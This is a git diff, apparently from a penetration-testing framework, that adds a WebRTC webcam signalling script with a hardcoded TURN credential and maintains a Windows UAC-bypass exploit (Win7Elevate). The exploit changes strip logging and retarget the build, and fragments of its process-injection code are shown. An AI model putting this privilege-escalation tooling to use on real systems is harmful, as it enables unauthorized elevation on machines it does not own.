+ + + \ No newline at end of file diff --git a/data/webcam/api.js b/data/webcam/api.js new file mode 100644 index 0000000000..26e4d256dc --- /dev/null +++ b/data/webcam/api.js @@ -0,0 +1,363 @@ +// Muaz Khan - https://github.com/muaz-khan +// MIT License - https://www.webrtc-experiment.com/licence/ +// Documentation - https://github.com/muaz-khan/WebRTC-Experiment/tree/master/websocket + +(function () { + + window.PeerConnection = function (socketURL, userid) { + this.userid = userid || getToken(); + this.peers = {}; + + if (!socketURL) throw 'Socket-URL is mandatory.'; + + new Signaler(this, socketURL); + + this.addStream = function(stream) { + this.MediaStream = stream; + }; + }; + + function Signaler(root, socketURL) { + var self = this; + + root.startBroadcasting = function () { + if(!root.MediaStream) throw 'Offerer must have media stream.'; + + (function transmit() { + socket.send({ + userid: root.userid, + broadcasting: true + }); + !self.participantFound && + !self.stopBroadcasting && + setTimeout(transmit, 3000); + })(); + }; + + root.sendParticipationRequest = function (userid) { + socket.send({ + participationRequest: true, + userid: root.userid, + to: userid + }); + }; + + // if someone shared SDP + this.onsdp = function (message) { + var sdp = message.sdp; + + if (sdp.type == 'offer') { + root.peers[message.userid] = Answer.createAnswer(merge(options, { + MediaStream: root.MediaStream, + sdp: sdp + })); + } + + if (sdp.type == 'answer') { + root.peers[message.userid].setRemoteDescription(sdp); + } + }; + + root.acceptRequest = function (userid) { + root.peers[userid] = Offer.createOffer(merge(options, { + MediaStream: root.MediaStream + })); + }; + + var candidates = []; + // if someone shared ICE + this.onice = function (message) { + var peer = root.peers[message.userid]; + if (peer) { + peer.addIceCandidate(message.candidate); + for (var i = 0; i < candidates.length; i++) { + peer.addIceCandidate(candidates[i]); + } + candidates = []; + } else candidates.push(candidates); + }; + + // it is passed over Offer/Answer objects for reusability + var options = { + onsdp: function (sdp) { + socket.send({ + userid: root.userid, + sdp: sdp, + to: root.participant + }); + }, + onicecandidate: function (candidate) { + socket.send({ + userid: root.userid, + candidate: candidate, + to: root.participant + }); + }, + onStreamAdded: function (stream) { + console.debug('onStreamAdded', '>>>>>>', stream); + + stream.onended = function () { + if (root.onStreamEnded) root.onStreamEnded(streamObject); + }; + + var mediaElement = document.createElement('video'); + mediaElement.id = root.participant; + mediaElement[isFirefox ? 'mozSrcObject' : 'src'] = isFirefox ? stream : window.webkitURL.createObjectURL(stream); + mediaElement.autoplay = true; + mediaElement.controls = true; + mediaElement.play(); + + var streamObject = { + mediaElement: mediaElement, + stream: stream, + userid: root.participant, + type: 'remote' + }; + + function afterRemoteStreamStartedFlowing() { + if (!root.onStreamAdded) return; + root.onStreamAdded(streamObject); + } + + afterRemoteStreamStartedFlowing(); + } + }; + + function closePeerConnections() { + self.stopBroadcasting = true; + if (root.MediaStream) root.MediaStream.stop(); + + for (var userid in root.peers) { + root.peers[userid].peer.close(); + } + root.peers = {}; + } + + root.close = function () { + socket.send({ + userLeft: true, + userid: root.userid, + to: root.participant + }); + closePeerConnections(); + }; + + window.onbeforeunload = function () { + root.close(); + }; + + window.onkeyup = function (e) { + if (e.keyCode == 116) + root.close(); + }; + + function onmessage(e) { + var message = JSON.parse(e.data); + + if (message.userid == root.userid) return; + root.participant = message.userid; + + // for pretty logging + console.debug(JSON.stringify(message, function (key, value) { + if (value && value.sdp) { + console.log(value.sdp.type, '---', value.sdp.sdp); + return ''; + } else return value; + }, '---')); + + // if someone shared SDP + if (message.sdp && message.to == root.userid) { + self.onsdp(message); + } + + // if someone shared ICE + if (message.candidate && message.to == root.userid) { + self.onice(message); + } + + // if someone sent participation request + if (message.participationRequest && message.to == root.userid) { + self.participantFound = true; + + if (root.onParticipationRequest) { + root.onParticipationRequest(message.userid); + } else root.acceptRequest(message.userid); + } + + // if someone is broadcasting himself! + if (message.broadcasting && root.onUserFound) { + root.onUserFound(message.userid); + } + + if (message.userLeft && message.to == root.userid) { + closePeerConnections(); + } + } + + var socket = socketURL; + if(typeof socketURL == 'string') { + socket = new WebSocket(socketURL); + socket.push = socket.send; + socket.send = function (data) { + socket.push(JSON.stringify(data)); + }; + + socket.onopen = function () { + console.log('websocket connection opened.'); + }; + } + socket.onmessage = onmessage; + } + + var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection; + var RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription; + var RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate; + + navigator.getUserMedia = navigator.mozGetUserMedia || navigator.webkitGetUserMedia; + window.URL = window.webkitURL || window.URL; + + var isFirefox = !!navigator.mozGetUserMedia; + var isChrome = !!navigator.webkitGetUserMedia; + + var STUN = { + url: isChrome ? 'stun:stun.l.google.com:19302' : 'stun:23.21.150.121' + }; + + var TURN = { + url: 'turn:homeo@turn.bistri.com:80', + credential: 'homeo' + }; + + var iceServers = { + iceServers: [STUN] + }; + + if (isChrome) { + if (parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2]) >= 28) + TURN = { + url: 'turn:turn.bistri.com:80', + credential: 'homeo', + username: 'homeo' + }; + + iceServers.iceServers = [STUN, TURN]; + } + + var optionalArgument = { + optional: [{ + DtlsSrtpKeyAgreement: true + }] + }; + + var offerAnswerConstraints = { + optional: [], + mandatory: { + OfferToReceiveAudio: true, + OfferToReceiveVideo: true + } + }; + + function getToken() { + return Math.round(Math.random() * 9999999999) + 9999999999; + } + + function onSdpError() {} + + // var offer = Offer.createOffer(config); + // offer.setRemoteDescription(sdp); + // offer.addIceCandidate(candidate); + var Offer = { + createOffer: function (config) { + var peer = new RTCPeerConnection(iceServers, optionalArgument); + + if (config.MediaStream) peer.addStream(config.MediaStream); + peer.onaddstream = function (event) { + config.onStreamAdded(event.stream); + }; + + peer.onicecandidate = function (event) { + if (event.candidate) + config.onicecandidate(event.candidate); + }; + + peer.createOffer(function (sdp) { + peer.setLocalDescription(sdp); + config.onsdp(sdp); + }, onSdpError, offerAnswerConstraints); + + this.peer = peer; + + return this; + }, + setRemoteDescription: function (sdp) { + this.peer.setRemoteDescription(new RTCSessionDescription(sdp)); + }, + addIceCandidate: function (candidate) { + this.peer.addIceCandidate(new RTCIceCandidate({ + sdpMLineIndex: candidate.sdpMLineIndex, + candidate: candidate.candidate + })); + } + }; + + // var answer = Answer.createAnswer(config); + // answer.setRemoteDescription(sdp); + // answer.addIceCandidate(candidate); + var Answer = { + createAnswer: function (config) { + var peer = new RTCPeerConnection(iceServers, optionalArgument); + + if (config.MediaStream) peer.addStream(config.MediaStream); + peer.onaddstream = function (event) { + config.onStreamAdded(event.stream); + }; + + peer.onicecandidate = function (event) { + if (event.candidate) + config.onicecandidate(event.candidate); + }; + + peer.setRemoteDescription(new RTCSessionDescription(config.sdp)); + peer.createAnswer(function (sdp) { + peer.setLocalDescription(sdp); + config.onsdp(sdp); + }, onSdpError, offerAnswerConstraints); + + this.peer = peer; + + return this; + }, + addIceCandidate: function (candidate) { + this.peer.addIceCandidate(new RTCIceCandidate({ + sdpMLineIndex: candidate.sdpMLineIndex, + candidate: candidate.candidate + })); + } + }; + + function merge(mergein, mergeto) { + for (var t in mergeto) { + mergein[t] = mergeto[t]; + } + return mergein; + } + + window.URL = window.webkitURL || window.URL; + navigator.getMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia; + navigator.getUserMedia = function(hints, onsuccess, onfailure) { + if(!hints) hints = {audio:true,video:true}; + if(!onsuccess) throw 'Second argument is mandatory. navigator.getUserMedia(hints,onsuccess,onfailure)'; + + navigator.getMedia(hints, _onsuccess, _onfailure); + + function _onsuccess(stream) { + onsuccess(stream); + } + + function _onfailure(e) { + if(onfailure) onfailure(e); + else throw Error('getUserMedia failed: ' + JSON.stringify(e, null, '\t')); + } + }; + +})(); \ No newline at end of file diff --git a/data/webcam/offerer.html b/data/webcam/offerer.html new file mode 100644 index 0000000000..f52a15e352 --- /dev/null +++ b/data/webcam/offerer.html @@ -0,0 +1,195 @@ + + + Video session + + + + + + + +
+ You peer +
+ +
+
+
+ +
+ You +
+ +
+ Status:

+ Waiting for your peer to join the video session... +
+ + + + + \ No newline at end of file diff --git a/external/source/exploits/bypassuac/CMMN.cpp b/external/source/exploits/bypassuac/CMMN.cpp old mode 100644 new mode 100755 index fcb4a3e604..eb96df0830 --- a/external/source/exploits/bypassuac/CMMN.cpp +++ b/external/source/exploits/bypassuac/CMMN.cpp @@ -8,46 +8,6 @@ #include #include -/*************************************************************************************************/ -/*************************************************************************************************/ -/*************************************************************************************************/ - -std::wstring CError::Format( DWORD ErrorCode ) -{ - return Format( ErrorCode, NULL, NULL ); -} - -std::wstring CError::Format(DWORD ErrorCode, const TCHAR *Title, const TCHAR *API) -{ - LPVOID lpvMessageBuffer; - - FormatMessage( - FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM, - NULL, ErrorCode, - MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT), - (LPTSTR)&lpvMessageBuffer, 0, NULL); - - std::wstring result; - - std::wostringstream es(TEXT("")); - es << ErrorCode; - - if ( Title ) - { result.append( Title ); result.append( TEXT("\n") ); } - else - { result.append( TEXT("ERROR") ); result.append( TEXT("\n") ); } - - if ( API ) - { result.append( TEXT("API = ") );result.append( API ); result.append( TEXT("\n") ); } - result.append( TEXT("error code = ") );result.append( es.str() );result.append( TEXT("\n") ); - if( lpvMessageBuffer ) - { result.append( TEXT("message = ") );result.append( (TCHAR *)lpvMessageBuffer );result.append( TEXT("\n") ); } - - if ( lpvMessageBuffer ) - { LocalFree(lpvMessageBuffer); } - - return result; -} /*************************************************************************************************/ /*************************************************************************************************/ @@ -142,90 +102,3 @@ CInterprocessStorage::~CInterprocessStorage() CloseHandle( _hMapping ); } -/*************************************************************************************************/ -/*************************************************************************************************/ -/*************************************************************************************************/ - -std::wstring CLogger::GetPath() -{ - std::wstring path; - - TCHAR buffer[MAX_PATH]; - if ( GetTempPath( MAX_PATH, buffer ) ) - { - path.assign( buffer ); - path.append( TEXT("w7e.log") ); - } - - return path; -} - -void CLogger::Reset() -{ - DeleteFile( GetPath().c_str() ); -} - -void CLogger::LogLine( std::wstring& Text ) -{ - std::wstring tmp( Text.c_str() ); - tmp.append( TEXT("\n") ); - Log( tmp ); -} - -void CLogger::LogLine( ) -{ - Log( TEXT("\n") ); -} - -void CLogger::LogLine( const TCHAR *Text ) -{ - if ( Text ) - LogLine( std::wstring( Text ) ); -} - -void CLogger::Log( const TCHAR Char ) -{ - std::wstring tmp; - tmp.append( &Char, 1 ); - Log( tmp ); -} - -void CLogger::Log( const TCHAR *Text ) -{ - if ( Text ) - Log( std::wstring( Text ) ); -} - -void CLogger::Log( std::wstring& Text ) -{ - TCHAR buffer[MAX_PATH]; - // - // We have to check it every time to be reflective if user created this file - // while program was runnig. - // - if ( GetModuleFileName( NULL, buffer, MAX_PATH ) ) - { - std::wstring dbg( buffer ); - dbg.append( TEXT(".debug") ); - HANDLE hdbg = CreateFile( dbg.c_str(), FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); - if ( INVALID_HANDLE_VALUE == hdbg ) - return; - - CloseHandle( hdbg ); - } - - HANDLE mutex = CreateMutex( NULL, FALSE, TEXT("CLoggerSync") ); - if ( mutex ) WaitForSingleObject( mutex , INFINITE ); - HANDLE hFile = CreateFile( GetPath().c_str(), FILE_ALL_ACCESS, 0, NULL, OPEN_ALWAYS, FILE_FLAG_WRITE_THROUGH, NULL ); - if( INVALID_HANDLE_VALUE != hFile ) - { - SetFilePointer( hFile, 0, NULL, FILE_END ); - - DWORD written; - WriteFile( hFile, Text.data(), Text.size() * sizeof(TCHAR), &written, NULL ); - - CloseHandle( hFile ); - } - if ( mutex ) ReleaseMutex( mutex ); - if ( mutex ) CloseHandle( mutex ); -} \ No newline at end of file diff --git a/external/source/exploits/bypassuac/Redirector.cpp b/external/source/exploits/bypassuac/Redirector.cpp old mode 100644 new mode 100755 index 13042bc52a..92a02270b9 --- a/external/source/exploits/bypassuac/Redirector.cpp +++ b/external/source/exploits/bypassuac/Redirector.cpp @@ -13,9 +13,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) assert( Parameter ); TRedirectorPair *pair = reinterpret_cast( Parameter ); - CLogger::Log( TEXT("Hello redirector thread: ") ); - CLogger::LogLine( pair->Name ); - CHAR read_buff[2]; DWORD nBytesRead,nBytesWrote; @@ -25,11 +22,7 @@ DWORD WINAPI Redirector( LPVOID Parameter ) { if( ! ReadFile( pair->Source, read_buff, 1, &nBytesRead, NULL) ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - pair->Name.c_str(), - TEXT("ReadFile") ) ); + error = true && (!pair->KeepAlive); break; } @@ -67,11 +60,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) if ( ! WriteConsoleInput( pair->Destination, &inp, 1, &nBytesWrote) ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - pair->Name.c_str(), - TEXT("WriteConsoleInput") ) ); error = true && (!pair->KeepAlive); break; } @@ -80,11 +68,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) { if ( ! WriteFile( pair->Destination, &read_buff[i], 1, &nBytesWrote, NULL) ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - pair->Name.c_str(), - TEXT("WriteFile") ) ); error = true && (!pair->KeepAlive); break; } @@ -92,8 +75,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) } } - CLogger::Log( TEXT("Bye redirector thread: ") ); - CLogger::LogLine( pair->Name ); return EXIT_SUCCESS; } diff --git a/external/source/exploits/bypassuac/TIOR/TIOR.cpp b/external/source/exploits/bypassuac/TIOR/TIOR.cpp old mode 100644 new mode 100755 index 70bed0931d..bdd6ee0d3d --- a/external/source/exploits/bypassuac/TIOR/TIOR.cpp +++ b/external/source/exploits/bypassuac/TIOR/TIOR.cpp @@ -20,7 +20,6 @@ int _tmain(int argc, _TCHAR* argv[]) { - CLogger::LogLine(TEXT("TIOR: Hello")); TRedirectorPair in = {0}; in.Source = CreateFile( STDIn_PIPE, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING, 0, 0); @@ -79,9 +78,6 @@ int _tmain(int argc, _TCHAR* argv[]) CInterprocessStorage::GetString( TEXT("w7e_TIORArgs"), args ); CInterprocessStorage::GetString( TEXT("w7e_TIORDir"), dir ); - CLogger::LogLine(TEXT("TIOR: shell=")); CLogger::LogLine(shell); - CLogger::LogLine(TEXT("TIOR: args=")); CLogger::LogLine(args); - CLogger::LogLine(TEXT("TIOR: dir=")); CLogger::LogLine(dir); STARTUPINFO si = {0};si.cb = sizeof(si); PROCESS_INFORMATION pi = {0}; @@ -100,11 +96,6 @@ int _tmain(int argc, _TCHAR* argv[]) if ( ! created ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - TEXT("TIOR: Unable to create child process"), - TEXT("CreateProcess"))); return EXIT_FAILURE; } @@ -113,14 +104,12 @@ int _tmain(int argc, _TCHAR* argv[]) CloseHandle( pi.hThread ); } - CLogger::LogLine(TEXT("TIOR: Shell has been started. Waiting...")); HANDLE waiters[4] = {pi.hProcess, in.Thread, out.Thread, err.Thread} ; // // Waiting for eny handle to be freed. // Either some IO thread will die or process will be oevered. // WaitForMultipleObjects( 4, waiters, FALSE, INFINITE ); - CLogger::LogLine(TEXT("TIOR: Ensure that we processed all data in pipes")); // // Even if process was overed, we need to be sure that we readed all data from the redirected pipe. @@ -132,11 +121,9 @@ int _tmain(int argc, _TCHAR* argv[]) // Dont forget to close child process. We need to be sure, if user terminated app which // reads our redirected data, we terminate the target child app. // - CLogger::LogLine(TEXT("TIOR: Killing child process")); TerminateProcess( pi.hProcess, EXIT_FAILURE ); CloseHandle( pi.hProcess ); - CLogger::LogLine(TEXT("TIOR: Exit")); // // I will not close any handles here - system will terminate and close all by it self. diff --git a/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj b/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj index 1be26fd9e2..ee5f209fcb 100644 --- a/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj +++ b/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -28,23 +28,27 @@ Application true Unicode + v120 Application true Unicode + v120 Application false - true + false Unicode + v120 Application false - true + false Unicode + v120 @@ -63,26 +67,31 @@ - true - $(ProjectName)32 - $(SolutionDir)$(Platform)\$(Configuration)\ + false + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ - true - $(ProjectName)64 - $(SolutionDir)$(Platform)\$(Configuration)\ + false + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ + AllRules.ruleset @@ -90,6 +99,8 @@ Level3 Disabled WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + Size Console @@ -99,6 +110,10 @@ + + + + @@ -106,11 +121,17 @@ Level3 Disabled WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + Size Console true + + + + @@ -121,6 +142,7 @@ true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) MultiThreaded + Size Console @@ -132,6 +154,10 @@ + + + + @@ -142,6 +168,7 @@ true WIN64;_WIN64;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) MultiThreaded + Size Console @@ -153,6 +180,10 @@ + + + + diff --git a/external/source/exploits/bypassuac/Win32/.keep b/external/source/exploits/bypassuac/Win32/.keep deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/external/source/exploits/bypassuac/Win7Elevate.sln b/external/source/exploits/bypassuac/Win7Elevate.sln old mode 100644 new mode 100755 index 96ab47ee65..2c3139c31e --- a/external/source/exploits/bypassuac/Win7Elevate.sln +++ b/external/source/exploits/bypassuac/Win7Elevate.sln @@ -1,6 +1,8 @@  -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{BB654285-1131-415D-B796-21045D32DF87}" ProjectSection(SolutionItems) = preProject Win7Elevate_v2_read_me.txt = Win7Elevate_v2_read_me.txt @@ -18,37 +20,32 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win7Elevate", "Win7Elevate\ EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Pocket PC 2003 (ARMV4) = Debug|Pocket PC 2003 (ARMV4) Debug|Win32 = Debug|Win32 Debug|x64 = Debug|x64 - Release|Pocket PC 2003 (ARMV4) = Release|Pocket PC 2003 (ARMV4) Release|Win32 = Release|Win32 Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.ActiveCfg = Debug|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.Build.0 = Debug|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.ActiveCfg = Debug|x64 - {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32 + {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.Build.0 = Debug|x64 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.ActiveCfg = Release|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.Build.0 = Release|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.ActiveCfg = Release|x64 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.Build.0 = Release|x64 - {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.ActiveCfg = Debug|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.Build.0 = Debug|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.ActiveCfg = Debug|x64 - {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32 + {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.Build.0 = Debug|x64 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.ActiveCfg = Release|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.Build.0 = Release|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.ActiveCfg = Release|x64 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.Build.0 = Release|x64 - {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.ActiveCfg = Debug|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.Build.0 = Debug|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.ActiveCfg = Debug|x64 - {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32 + {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.Build.0 = Debug|x64 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.ActiveCfg = Release|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.Build.0 = Release|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|x64.ActiveCfg = Release|x64 diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp old mode 100644 new mode 100755 index 4bd0054297..9efefdb568 Binary files a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp and b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp differ diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc old mode 100644 new mode 100755 index ebf56f1776..545523556a --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc @@ -61,22 +61,23 @@ END #ifdef _DEBUG +// Z:\code\metasploit-framework\external\source\exploits\bypassuac\TIOR\Debug\Win32 #ifdef _WIN64 -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\x64\\Debug\\Win7ElevateDll64.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\x64\\Debug\\TIOR64.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Debug\\x64\\Win7ElevateDll.x64.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Debug\\x64\\TIOR.x64.exe" #else -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win32\\Debug\\Win7ElevateDll32.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\Win32\\Debug\\TIOR32.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Debug\\Win32\\Win7ElevateDll.x86.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Debug\\Win32\\TIOR.x86.exe" #endif #else // _DEBUG #ifdef _WIN64 -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\x64\\Release\\Win7ElevateDll64.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\x64\\Release\\TIOR64.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Release\\x64\\Win7ElevateDll.x64.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Release\\x64\\TIOR.x64.exe" #else -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win32\\Release\\Win7ElevateDll32.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\Win32\\Release\\TIOR32.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Release\\Win32\\Win7ElevateDll.x86.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Release\\Win32\\TIOR.x86.exe" #endif #endif diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj index d1a7d4f0c3..fd69093652 100644 --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -28,23 +28,27 @@ Application true Unicode + v120 Application true Unicode + v120 Application false - true + false Unicode + v120 Application false - true + false Unicode + v120 @@ -63,25 +67,30 @@ - true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + false + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ - true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + false + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ + AllRules.ruleset @@ -96,10 +105,12 @@ false ProgramDatabase MultiThreadedDebug + Size Console true + Default @@ -119,10 +130,12 @@ false ProgramDatabase MultiThreadedDebug + Size Console true + Default @@ -141,12 +154,14 @@ OnlyExplicitInline false false + Size Console false true true + Default @@ -155,6 +170,9 @@ WIN32;_UNICODE;UNICODE;%(PreprocessorDefinitions) + + copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe" + @@ -168,12 +186,14 @@ OnlyExplicitInline false false + Size Console false true true + Default @@ -182,6 +202,9 @@ WIN64;_WIN64;_UNICODE;UNICODE;%(PreprocessorDefinitions) + + copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe" + @@ -204,7 +227,10 @@ - + + WIN64;_WIN64;_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions) + _DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions) + diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp old mode 100644 new mode 100755 index 4df3f129ba..5aa84f23dd --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp @@ -209,7 +209,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (codeStartAdr >= codeEndAdr) { //MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Unexpected function layout"); return; } @@ -220,7 +219,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf)) { //MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Couldn't get path to self"); return; } @@ -231,7 +229,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (S_OK != hr) { //MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"SHGetFolderPath failed"); return; } @@ -240,7 +237,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (hModKernel32 == 0) { //MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Couldn't load kernel32.dll"); return; } @@ -257,7 +253,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d || 0 == tfpWaitForSingleObject.f) { //MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Couldn't find API"); } else { @@ -374,26 +369,11 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true); - if (reme.AnyFailures()) - { - 